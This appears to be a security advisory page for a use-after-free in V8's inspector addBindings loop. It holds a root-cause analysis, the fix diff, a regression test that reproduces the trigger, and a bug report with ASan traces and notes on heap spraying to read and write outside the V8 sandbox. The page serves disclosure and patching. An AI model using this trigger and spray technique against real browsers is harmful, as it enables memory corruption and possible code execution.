CVE-2026-17836
Overview
Background
- `InspectedContext`
- A V8 inspector object that wraps a JavaScript execution context and is owned by the
V8InspectorImpl, tracked bycontextGroupIdandcontextId. - `addBinding`
- A CDP-driven operation on
V8RuntimeAgentImplthat installs a named global property whose accessor calls back into the inspector when JavaScript reads or writes it. - Context destruction
- When a JavaScript context is torn down (e.g. via
inspector.fireContextDestroyed()), the inspector frees the correspondingInspectedContext, invalidating any raw pointer to it. - Reentrancy
- Because
addBindingsynchronously runs V8 code that can install user-controlled property setters, the caller can be reentered and its context freed mid-loop.
Root Cause Analysis
V8RuntimeAgentImpl::addBindings iterated over the registered global and per-context bindings, calling addBinding(context, ...) for each entry while holding a raw InspectedContext*. Installing a binding synchronously executes V8, so attacker-controlled JavaScript (e.g. an Object.prototype setter reached during binding installation) could call back into the inspector and destroy the very InspectedContext being iterated, freeing it. The loop then dereferenced the now-dangling context pointer on the next iteration — and callers such as V8InspectorImpl::contextCreated further used the pointer after addBindings returned — violating the invariant that context stays alive for the duration of the loop.
The fix re-checks m_inspector->getContext(contextGroupId, contextId) after every addBinding call and returns early if the context has vanished, and the caller side stops holding a shared_ptr reference that merely papered over the freed-context edge case, so no dangling pointer is dereferenced.
InspectedContext* remains valid across a loop that synchronously runs untrusted JavaScript able to destroy that context; the fix re-validates the context by id after each reentrant addBinding and bails out early instead of continuing to use freed memory.Attack Path
- Enable Runtime and register bindings
The attacker connects a debugging session and calls
Runtime.addBindingfor names such asxandy, soV8RuntimeAgentImpl::addBindingswill later iterate over multiple entries. - Plant a malicious setter
Via
Runtime.evaluate, the attacker defines a setter onObject.prototypefor the binding name so that assigning the global binding triggers attacker JavaScript. - Trigger reentrant destruction
When
addBindinginstalls the global property, the planted setter runs and synchronously callsinspector.fireContextDestroyed(), freeing the currentInspectedContext. - Dereference freed context
Control returns to the
addBindingsloop, which advances to the next binding and dereferences the freedcontextpointer (and callers reuse it afterward), producing a use-after-free.
Impact Assessment
Runtime domain (e.g. via DevTools automation, an extension, or an embedder exposing the inspector) gains a use-after-free on a freed InspectedContext in the process hosting V8, which can be shaped into memory corruption and potentially code execution. The precondition is the ability to register bindings and run script in a context that is then destroyed during binding installation, so exploitation requires inspector/CDP access rather than plain web content in a default browser configuration.Changed Functions
| Function | Change | Notes |
|---|---|---|
ifsrc/inspector/v8-runtime-agent-impl.cc |
modified |
Files Changed
src/inspector/v8-inspector-impl.ccsrc/inspector/v8-runtime-agent-impl.cctest/inspector/runtime/regress-517972812-expected.txttest/inspector/runtime/regress-517972812.js
Audit Directions
- Reentrant loops over freed-able objectsAudit any loop that holds a raw pointer while synchronously invoking V8 or user callbacks, and confirm the object is re-validated (by id or handle) after each callback.
- CDP handlers running untrusted scriptReview inspector agent methods that install accessors, evaluate expressions, or fire lifecycle events, since these can reenter and destroy inspector-owned objects mid-operation.
- shared_ptr as a lifetime band-aidLook for places where a
shared_ptrreference is held solely to keep an object alive across reentrancy; these often hide a missing liveness check and can still leave callers using a logically destroyed object.
Patch
From 7a5484e4f6ea917d7070c7407a3d06409d52883d Mon Sep 17 00:00:00 2001 From: Yulun Zeng <[email protected]> Date: Tue, 09 Jun 2026 19:20:47 +0000 Subject: [PATCH] Handle context destruction when adding binding within V8RuntimeAgentImpl::restore. Instead of holding a reference in the caller, this commit adds early returns after each addBinding(). So that all callers to addBindings() don't have to deal with the edge case (where context is destroyed when adding binding). This resolves the issue both in this bug and https://crrev.com/c/7904365. Bug: 517972812 Change-Id: I7f74308061f9f194c128697632a84cbe95d4f22f Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7914828 Reviewed-by: Simon Zünd <[email protected]> Commit-Queue: Yulun Zeng <[email protected]> Reviewed-by: Kim-Anh Tran <[email protected]> Cr-Commit-Position: refs/heads/main@{#107997} --- diff --git a/src/inspector/v8-inspector-impl.cc b/src/inspector/v8-inspector-impl.cc index ade7809..5e9a512 100644 --- a/src/inspector/v8-inspector-impl.cc +++ b/src/inspector/v8-inspector-impl.cc @@ -309,13 +309,12 @@ DCHECK(contextById->find(contextId) == contextById->cend()); (*contextById)[contextId].reset(context); int contextGroupId = info.contextGroupId; - std::shared_ptr<InspectedContext> contextRef = (*contextById)[contextId]; forEachSession(contextGroupId, [this, contextGroupId, contextId, - contextRef](V8InspectorSessionImpl* session) { + &context](V8InspectorSessionImpl* session) { if (!getContext(contextGroupId, contextId)) return; - session->runtimeAgent()->addBindings(contextRef.get()); + session->runtimeAgent()->addBindings(context); if (!getContext(contextGroupId, contextId)) return; - session->runtimeAgent()->reportExecutionContextCreated(contextRef.get()); + session->runtimeAgent()->reportExecutionContextCreated(context); }); } diff --git a/src/inspector/v8-runtime-agent-impl.cc b/src/inspector/v8-runtime-agent-impl.cc index e6ce30c..b17432c 100644 --- a/src/inspector/v8-runtime-agent-impl.cc +++ b/src/inspector/v8-runtime-agent-impl.cc @@ -1071,6 +1071,8 @@ } void V8RuntimeAgentImpl::addBindings(InspectedContext* context) { + int contextGroupId = context->contextGroupId(); + int contextId = context->contextId(); const String16 contextName = context->humanReadableName(); if (!m_enabled) return; @@ -1079,6 +1081,7 @@ if (globalBindings) { for (size_t i = 0; i < globalBindings->size(); ++i) { addBinding(context, globalBindings->at(i).first); + if (!m_inspector->getContext(contextGroupId, contextId)) return; } } @@ -1090,6 +1093,7 @@ if (bindings) { for (size_t i = 0; i < bindings->size(); ++i) { addBinding(context, bindings->at(i).first); + if (!m_inspector->getContext(contextGroupId, contextId)) return; } } } diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt new file mode 100644 index 0000000..a1059d8 --- /dev/null +++ b/test/inspector/runtime/regress-517972812-expected.txt @@ -0,0 +1,3 @@ +Test that destroying context during addBinding does not cause UAF (regress-517972812). +Triggering evaluate with prototype hijack and context creation... +Finished evaluate call. diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js new file mode 100644 index 0000000..87a2bc5 --- /dev/null +++ b/test/inspector/runtime/regress-517972812.js @@ -0,0 +1,40 @@ +// Copyright 2026 the V8 project authors. All rights reserved. +// Use of this source code is governed by a BSD-style license that can be +// found in the LICENSE file. + +InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).'); + +(async function test() { + const contextGroup = new InspectorTest.ContextGroup(); + const session = contextGroup.connect(); + + session.Protocol.Runtime.enable(); + + // Register binding 'x' + await session.Protocol.Runtime.addBinding({name: 'x'}); + + // Register second binding 'y' to test handling addBinding() again when the + // the previous addBinding() has already destroyed the context. + await session.Protocol.Runtime.addBinding({name: 'y'}); + + InspectorTest.log('Triggering evaluate with prototype hijack and context creation...'); + await session.Protocol.Runtime.evaluate({ + expression: ` + delete globalThis.x; + delete globalThis.y; + Object.defineProperty(Object.prototype, 'x', { + configurable: true, + set: function(v) { + // Synchronously destroy the just-registered InspectedContext. + inspector.fireContextDestroyed(); + } + }); + `, + }); + + // === TRIGGER === + session.reconnect(); + + InspectorTest.log('Finished evaluate call.'); + InspectorTest.completeTest(); +})();
Regression Test / PoC
diff --git a/test/inspector/runtime/regress-517972812-expected.txt b/test/inspector/runtime/regress-517972812-expected.txt
new file mode 100644
index 0000000..a1059d8
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812-expected.txt
@@ -0,0 +1,3 @@
+Test that destroying context during addBinding does not cause UAF (regress-517972812).
+Triggering evaluate with prototype hijack and context creation...
+Finished evaluate call.
diff --git a/test/inspector/runtime/regress-517972812.js b/test/inspector/runtime/regress-517972812.js
new file mode 100644
index 0000000..87a2bc5
--- /dev/null
+++ b/test/inspector/runtime/regress-517972812.js
@@ -0,0 +1,40 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+InspectorTest.log('Test that destroying context during addBinding does not cause UAF (regress-517972812).');
+
+(async function test() {
+ const contextGroup = new InspectorTest.ContextGroup();
+ const session = contextGroup.connect();
+
+ session.Protocol.Runtime.enable();
+
+ // Register binding 'x'
+ await session.Protocol.Runtime.addBinding({name: 'x'});
+
+ // Register second binding 'y' to test handling addBinding() again when the
+ // the previous addBinding() has already destroyed the context.
+ await session.Protocol.Runtime.addBinding({name: 'y'});
+
+ InspectorTest.log('Triggering evaluate with prototype hijack and context creation...');
+ await session.Protocol.Runtime.evaluate({
+ expression: `
+ delete globalThis.x;
+ delete globalThis.y;
+ Object.defineProperty(Object.prototype, 'x', {
+ configurable: true,
+ set: function(v) {
+ // Synchronously destroy the just-registered InspectedContext.
+ inspector.fireContextDestroyed();
+ }
+ });
+ `,
+ });
+
+ // === TRIGGER ===
+ session.reconnect();
+
+ InspectorTest.log('Finished evaluate call.');
+ InspectorTest.completeTest();
+})();
Original Bug Report
Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free
Steps to reproduce the problem
Attached: poc-uaf.js, poc-sandbox-read.js
-
Build inspector-test (HEAD 6ac60d22f45, V8 15.0.0).
gn gen out/asan –args=‘is_debug=false symbol_level=2
v8_enable_sandbox=true is_asan=true’ gn gen out/sandbox –args=‘is_debug=false symbol_level=2
v8_enable_sandbox=true is_asan=false’ autoninja -C out/asan inspector-test autoninja -C out/sandbox inspector-test -
Run UAF PoC under ASan.
ASAN_OPTIONS=‘abort_on_error=0:halt_on_error=1:detect_leaks=0’
./out/asan/inspector-test
test/inspector/protocol-test.js
poc-uaf.jsOutput:
PoC H-2026-2981: addBindings loop UAF after iter-0 destroys context. Step 1: enable Runtime agent. Step 2: persist two global bindings (“a”,“b”). Step 3: delete own bindings; install Object.prototype.a setter that destroys the inspected context. Step 4: reconnect to drive restore() -> addBindings(ctx).
==148588==ERROR: AddressSanitizer: heap-use-after-free on address 0x74957f5f4f50 at pc 0x5f6fac5bed1b READ of size 4 at 0x74957f5f4f50 thread T7 (Task Runner) #0 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/inspected-context.h:49:34 #1 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #2 v8_inspector::V8InspectorImpl::forEachContext(…) #3 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #4 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …
0x74957f5f4f50 is located 16 bytes inside of 232-byte region [0x74957f5f4f40,0x74957f5f5028) freed by thread T7 (Task Runner) here: #0 operator delete(void*, unsigned long) #1 v8_inspector::V8InspectorImpl::contextCollected(int, int) third_party/libc++/…/shared_count.h:65:7 #2 v8::internal::InspectorIsolateData::FireContextDestroyed(…) test/inspector/isolate-data.cc:438:15 … (setter callback) #15 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:996:39 <- iter-0 Set #16 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7
previously allocated by thread T7 (Task Runner) here: #0 operator new(unsigned long) #1 v8_inspector::V8InspectorImpl::contextCreated(…) src/inspector/v8-inspector-impl.cc:288:19
SUMMARY: AddressSanitizer: heap-use-after-free src/inspector/inspected-context.h:49:34 in v8_inspector::V8RuntimeAgentImpl::addBinding(…) ==148588==ABORTING
-
Run out-of-sandbox-read PoC under V8 sandbox crash filter.
The same trigger plus a freelist spray inside the setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context() dereference at line 988 follows the substituted pointer.
./out/sandbox/inspector-test –sandbox-testing
test/inspector/protocol-test.js
poc-sandbox-read.jsOutput:
Sandbox testing mode is enabled. Only sandbox violations will be reported, all other crashes will be ignored. Sandbox bounds: [0x85300000000,0x95300000000) PoC H-2026-2981 byte-controlled spray. Step 1: enable Runtime agent. Step 2: persist two distinct global bindings (“a”,“b”). Step 3: install setter that frees + sprays. Step 4: reconnect to drive restore() -> addBindings(ctx).
V8 sandbox violation detected!
The sandbox violation was a read access which is technically not a sandbox violation. This requires manual investigation. UndefinedBehaviorSanitizer:DEADLYSIGNAL ==148664==ERROR: UndefinedBehaviorSanitizer: SEGV on unknown address 0x00077d2e40a0 (pc 0x5c482db56605 …) ==148664==The signal is caused by a READ memory access. #0 v8_inspector::InspectedContext::context() const src/inspector/inspected-context.cc:117 #1 v8_inspector::V8RuntimeAgentImpl::addBinding(…) src/inspector/v8-runtime-agent-impl.cc:988:50 #2 v8_inspector::V8RuntimeAgentImpl::addBindings(…) src/inspector/v8-runtime-agent-impl.cc:1081:7 #3 v8_inspector::V8InspectorImpl::forEachContext(…) #4 v8_inspector::V8RuntimeAgentImpl::restore() src/inspector/v8-runtime-agent-impl.cc:1116:16 #5 v8_inspector::V8InspectorSessionImpl::V8InspectorSessionImpl(…) src/inspector/v8-inspector-session-impl.cc:153:21 …
The read address (0x00077d2e40a0) lies outside the V8 sandbox cage (0x85300000000 - 0x95300000000), confirming that the UAF yields a read primitive crossing the V8 sandbox boundary.
Per src/inspector/SEC
Problem Description
Variant of bug 507508114 (commit 5a7de4a07b0). The prior fix protected the leaf function addBinding but left the outer-loop caller addBindings unprotected. addBindings holds a raw InspectedContext* across multiple addBinding calls; iteration N’s global->Set() is JS-reentrant via Object.prototype setters, and a setter that destroys the inspected context drops the sole shared_ptr to InspectedContext. Iteration N+1 dereferences the freed pointer at its first statement.
Vulnerable loop (src/inspector/v8-runtime-agent-impl.cc:1073-1096):
void V8RuntimeAgentImpl::addBindings(InspectedContext* context) { … for (size_t i = 0; i < globalBindings->size(); ++i) { addBinding(context, globalBindings->at(i).first); // 1081 } for (size_t i = 0; i < bindings->size(); ++i) { addBinding(context, bindings->at(i).first); // 1092 } }
Each addBinding(context, name):
- int contextId = context->contextId(); // 982 DEREF
- v8::Localv8::Context ctx = context->context(); // 988 DEREF
- global->Set(ctx, v8Name, fn); // 996 JS-REENTRANT
- if (m_inspector->getContext(…) != context) // 1001 5a7de4a07b0 guard return; (protects iter-N write, not iter-N+1 entry)
- m_activeBindings[name].insert(contextId);
The freed object InspectedContext is allocated via
new InspectedContext(...) at src/inspector/v8-inspector-impl.cc:288
on the libc C++ heap, outside the V8 sandbox. The UAF therefore
yields a primitive that crosses the V8 sandbox boundary
unconditionally, with no prior memory primitive assumed.
Observed primitive 1 (ASan oracle): 4-byte read of m_contextId at offset 16 of the freed slot.
Observed primitive 2 (out-of-sandbox read): standard libc-heap freelist spray during the synchronous setter callback substitutes attacker bytes into the freed slot at offset 8 (v8::Globalv8::Context::slot_). Iteration N+1’s context->context() at line 988 loads the substituted pointer and dereferences it, reaching memory outside the V8 sandbox cage. Confirmed under –sandbox-testing: V8’s sandbox crash filter reports “sandbox violation detected” with a SEGV READ at an address outside the cage bounds.
Composable write: the subsequent global->Set(ctx, v8Name, fn) at line 996 writes a JSFunction handle to the target reached through context()->Global(), yielding an out-of-sandbox write on the same trigger.
Attacker model: web-content. Reachable from any page being inspected by DevTools (SECURITY.md: high severity, “minimal user interaction”), or from a Chrome extension with the “debugger” permission. Triggers automatically on session reattach once persisted globalBindings is populated: Runtime.addBinding survives across sessions in m_state, so two addBinding commands plus a setter on Object.prototype plus a session reattach are sufficient.
In Chromium production, the test-only inspector.fireContextDestroyed() in the PoC is replaced by any setter body that synchronously triggers V8InspectorClient::contextDestroyed on the current LocalFrame (e.g. detaching the frame).
Fix: re-validate context between iterations of the addBindings loops via m_inspector->getContext(groupId, contextId), mirroring the 5a7de4a07b0 shape one frame up. Capture contextId before the loop; do not carry the raw InspectedContext* across the JS-reentrant call.
Source references (HEAD 6ac60d22f45, V8 15.0.0):
src/inspector/v8-runtime-agent-impl.cc:1073-1096 vulnerable loop src/inspector/v8-runtime-agent-impl.cc:982 UAF read 1 (contextId) src/inspector/v8-runtime-agent-impl.cc:988 UAF read 2 (context, OOS) src/inspector/v8-runtime-agent-impl.cc:996 JS-reentrant Set (OOS write) src/inspector/v8-runtime-agent-impl.cc:1001 5a7de4a07b0 guard src/inspector/v8-runtime-agent-impl.cc:1116 restore() caller src/inspector/v8-inspector-impl.cc:288 alloc (libc heap, OOS) src/inspector/v8-inspector-impl.cc:460 free (discardInspectedContext)
Summary
Heap-UAF in V8RuntimeAgentImpl::addBindings: raw InspectedContext* deref after JS-reentrant free
Custom Questions
Type of crash:
TAB
Additional Data
Category: Security
Chrome Channel: Not sure
Regression: No \